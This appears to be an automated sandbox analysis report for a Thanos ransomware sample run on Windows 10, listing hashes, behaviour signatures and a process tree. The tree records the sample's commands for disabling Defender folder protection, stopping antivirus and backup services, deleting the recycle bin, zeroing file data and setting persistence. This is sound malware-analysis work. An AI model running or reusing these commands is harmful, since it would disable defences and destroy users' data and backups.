Overview
overview
10Static
static
10Ransomware.Thanos.zip
windows7-x64
1Ransomware.Thanos.zip
windows10-1703-x64
1Ransomware.Thanos.zip
windows10-2004-x64
1Ransomware.Thanos.zip
windows11-21h2-x64
158bfb9fa88...1f.exe
windows7-x64
58bfb9fa88...1f.exe
windows10-1703-x64
1058bfb9fa88...1f.exe
windows10-2004-x64
1058bfb9fa88...1f.exe
windows11-21h2-x64
105d40615701...3d.exe
windows7-x64
95d40615701...3d.exe
windows10-1703-x64
5d40615701...3d.exe
windows10-2004-x64
95d40615701...3d.exe
windows11-21h2-x64
9ae66e009e1...75.exe
windows7-x64
ae66e009e1...75.exe
windows10-1703-x64
ae66e009e1...75.exe
windows10-2004-x64
ae66e009e1...75.exe
windows11-21h2-x64
c460fc0d4f...50.exe
windows7-x64
c460fc0d4f...50.exe
windows10-1703-x64
10c460fc0d4f...50.exe
windows10-2004-x64
10c460fc0d4f...50.exe
windows11-21h2-x64
10Analysis
-
max time kernel
141s -
max time network
156s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
19-02-2024 14:29
Behavioral task
behavioral1
Sample
Ransomware.Thanos.zip
Resource
win7-20240215-en
Behavioral task
behavioral2
Sample
Ransomware.Thanos.zip
Resource
win10-20240214-en
Behavioral task
behavioral3
Sample
Ransomware.Thanos.zip
Resource
win10v2004-20231215-en
Behavioral task
behavioral4
Sample
Ransomware.Thanos.zip
Resource
win11-20240214-en
Behavioral task
behavioral5
Sample
58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
Resource
win10-20240214-en
Behavioral task
behavioral7
Sample
58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral8
Sample
58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
Resource
win11-20240214-en
Behavioral task
behavioral9
Sample
5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Resource
win10-20240214-en
Behavioral task
behavioral11
Sample
5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral12
Sample
5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Resource
win11-20240214-en
Behavioral task
behavioral13
Sample
ae66e009e16f0fad3b70ad20801f48f2edb904fa5341a89e126a26fd3fc80f75.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
ae66e009e16f0fad3b70ad20801f48f2edb904fa5341a89e126a26fd3fc80f75.exe
Resource
win10-20240214-en
Behavioral task
behavioral15
Sample
ae66e009e16f0fad3b70ad20801f48f2edb904fa5341a89e126a26fd3fc80f75.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral16
Sample
ae66e009e16f0fad3b70ad20801f48f2edb904fa5341a89e126a26fd3fc80f75.exe
Resource
win11-20240214-en
Behavioral task
behavioral17
Sample
c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
Resource
win10-20240214-en
Behavioral task
behavioral19
Sample
c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral20
Sample
c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
Resource
win11-20240214-en
General
-
Target
5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
-
Size
91KB
-
MD5
be60e389a0108b2871dff12dfbb542ac
-
SHA1
14b4e0bfac64ec0f837f84ab1780ca7ced8d670d
-
SHA256
5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d
-
SHA512
6051bec441434a80c34ee2752a3da9c3a0307cd1b551aa27a0f7f6f75b9bf64b172745d80f03eea054a03ebd2c493df21fd48d8fa3b706d46a6f7fee0e7c0641
-
SSDEEP
1536:QguHLgeS6umiCp31W4qYXgsLlOqrgB9GpF7LXdarTkCAKL5dsluhtvM4CoLT6QPg:D6seqCp31Hgsp9a9GTrda8CAKLTsWkyI
Malware Config
Signatures
-
Renames multiple (85) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
Downloads MZ/PE file
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe -
Drops startup file 1 IoCs
Processes:
5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exepid process 1068 sc.exe 1496 sc.exe 3916 sc.exe 1544 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Kills process with taskkill 3 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exepid process 4012 taskkill.exe 764 taskkill.exe 1924 taskkill.exe -
Opens file in notepad (likely ransom note) 1 IoCs
Processes:
notepad.exepid process 4476 notepad.exe -
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exepid process 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exepowershell.exetaskkill.exetaskkill.exetaskkill.exedescription pid process Token: SeDebugPrivilege 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe Token: SeDebugPrivilege 1796 powershell.exe Token: SeDebugPrivilege 4012 taskkill.exe Token: SeDebugPrivilege 764 taskkill.exe Token: SeDebugPrivilege 1924 taskkill.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exepid process 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe -
Suspicious use of SendNotifyMessage 1 IoCs
Processes:
5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exepid process 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exedescription pid process target process PID 4564 wrote to memory of 1796 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe powershell.exe PID 4564 wrote to memory of 1796 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe powershell.exe PID 4564 wrote to memory of 1796 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe powershell.exe PID 4564 wrote to memory of 4796 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 4796 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 4796 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 3484 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 3484 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 3484 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 1360 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 1360 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 1360 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 2612 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 2612 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 2612 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 4032 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 4032 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 4032 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 1432 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 1432 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 1432 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 4480 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 4480 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 4480 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 1540 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 1540 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 1540 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 2520 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 2520 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 2520 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 420 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 420 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 420 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 1216 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 1216 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 1216 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 3164 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 3164 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 3164 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 1956 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 1956 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 1956 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 3832 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 3832 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 3832 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 4932 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 4932 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 4932 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 4488 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 4488 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 4488 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 708 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 708 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 708 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 4084 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 4084 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 4084 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 1880 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 1880 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 1880 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 5060 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 5060 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 5060 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe PID 4564 wrote to memory of 5064 4564 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe net.exe -
System policy modification 1 TTPs 2 IoCs
Processes:
5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1" 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe"C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe"1⤵
- Checks computer location settings
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4564 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -EnableControlledFolderAccess Disabled2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1796
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C:\Windows\SysWOW64\net.exe"net.exe" stop avpsus /y2⤵PID:4796
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop avpsus /y3⤵PID:1532
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C:\Windows\SysWOW64\net.exe"net.exe" stop QBCFMonitorService /y2⤵PID:3832
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBCFMonitorService /y3⤵PID:5248
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C:\Windows\SysWOW64\net.exe"net.exe" stop AcronisAgent /y2⤵PID:636
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AcronisAgent /y3⤵PID:1152
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C:\Windows\SysWOW64\net.exe"net.exe" stop CASAD2DWebSvc /y2⤵PID:1820
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASAD2DWebSvc /y3⤵PID:5048
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C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpE3D8.bat2⤵PID:5384
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C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin2⤵PID:1768
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C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mydesktopservice.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1924
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C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mydesktopqos.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4012
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C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mspub.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:764
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C:\Windows\SysWOW64\sc.exe"sc.exe" config SstpSvc start= disabled2⤵
- Launches sc.exe
PID:1068
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C:\Windows\SysWOW64\sc.exe"sc.exe" config SQLWriter start= disabled2⤵
- Launches sc.exe
PID:1496
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C:\Windows\SysWOW64\sc.exe"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled2⤵
- Launches sc.exe
PID:3916
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C:\Windows\SysWOW64\sc.exe"sc.exe" config SQLTELEMETRY start= disabled2⤵
- Launches sc.exe
PID:1544
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C:\Windows\SysWOW64\net.exe"net.exe" stop sophos /y2⤵PID:2856
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C:\Windows\SysWOW64\net.exe"net.exe" stop CAARCUpdateSvc /y2⤵PID:3136
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C:\Windows\SysWOW64\net.exe"net.exe" stop AcrSch2Svc /y2⤵PID:3080
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C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecRPCService /y2⤵PID:1244
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C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecManagementService /y2⤵PID:4764
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C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecJobEngine /y2⤵PID:3104
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C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecDiveciMediaService /y2⤵PID:632
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C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecAgentBrowser /y2⤵PID:1588
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C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecAgentAccelerator /y2⤵PID:4328
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C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecVSSProvider /y2⤵PID:4368
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C:\Windows\SysWOW64\net.exe"net.exe" stop PDVFSService /y2⤵PID:1680
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C:\Windows\SysWOW64\net.exe"net.exe" stop veeam /y2⤵PID:4500
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C:\Windows\SysWOW64\net.exe"net.exe" stop VeeamNFSSvc /y2⤵PID:2528
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C:\Windows\SysWOW64\net.exe"net.exe" stop VeeamDeploymentService /y2⤵PID:5064
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C:\Windows\SysWOW64\net.exe"net.exe" stop VeeamTransportSvc /y2⤵PID:5060
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C:\Windows\SysWOW64\net.exe"net.exe" stop VSNAPVSS /y2⤵PID:1880
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C:\Windows\SysWOW64\net.exe"net.exe" stop stc_raw_agent /y2⤵PID:4084
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C:\Windows\SysWOW64\net.exe"net.exe" stop zhudongfangyu /y2⤵PID:708
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C:\Windows\SysWOW64\net.exe"net.exe" stop YooIT /y2⤵PID:4488
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C:\Windows\SysWOW64\net.exe"net.exe" stop YooBackup /y2⤵PID:4932
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C:\Windows\SysWOW64\net.exe"net.exe" stop Intuit.QuickBooks.FCS /y2⤵PID:1956
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C:\Windows\SysWOW64\net.exe"net.exe" stop QBIDPService /y2⤵PID:3164
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C:\Windows\SysWOW64\net.exe"net.exe" stop QBFCService /y2⤵PID:1216
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C:\Windows\SysWOW64\net.exe"net.exe" stop RTVscan /y2⤵PID:420
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C:\Windows\SysWOW64\net.exe"net.exe" stop SavRoam /y2⤵PID:2520
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C:\Windows\SysWOW64\net.exe"net.exe" stop ccSetMgr /y2⤵PID:1540
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C:\Windows\SysWOW64\net.exe"net.exe" stop ccEvtMgr /y2⤵PID:4480
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C:\Windows\SysWOW64\net.exe"net.exe" stop DefWatch /y2⤵PID:1432
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C:\Windows\SysWOW64\net.exe"net.exe" stop NetBackup BMR MTFTP Service /y2⤵PID:4032
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C:\Windows\SysWOW64\net.exe"net.exe" stop BMR Boot Service /y2⤵PID:2612
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C:\Windows\SysWOW64\net.exe"net.exe" stop mfewc /y2⤵PID:1360
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C:\Windows\SysWOW64\net.exe"net.exe" stop McAfeeDLPAgentService /y2⤵PID:3484
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C:\Windows\SysWOW64\notepad.exe"C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt2⤵
- Opens file in notepad (likely ransom note)
PID:4476
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C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”2⤵PID:4224
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C:\Windows\SysWOW64\PING.EXEping 127.0.0.7 -n 33⤵
- Runs ping.exe
PID:1444
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C:\Windows\SysWOW64\fsutil.exefsutil file setZeroData offset=0 length=524288 “%s”3⤵PID:3200
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe2⤵PID:2348
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C:\Windows\SysWOW64\choice.exechoice /C Y /N /D Y /T 33⤵PID:4068
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BMR Boot Service /y1⤵PID:400
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop DefWatch /y1⤵PID:3980
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ccEvtMgr /y1⤵PID:4728
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop sophos /y1⤵PID:1356
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AcrSch2Svc /y1⤵PID:5128
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y1⤵PID:5188
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamTransportSvc /y1⤵PID:5180
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecAgentBrowser /y1⤵PID:5172
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VSNAPVSS /y1⤵PID:5164
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop YooBackup /y1⤵PID:5156
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop stc_raw_agent /y1⤵PID:5148
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop RTVscan /y1⤵PID:5140
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop PDVFSService /y1⤵PID:2060
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop veeam /y1⤵PID:2268
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamDeploymentService /y1⤵PID:1060
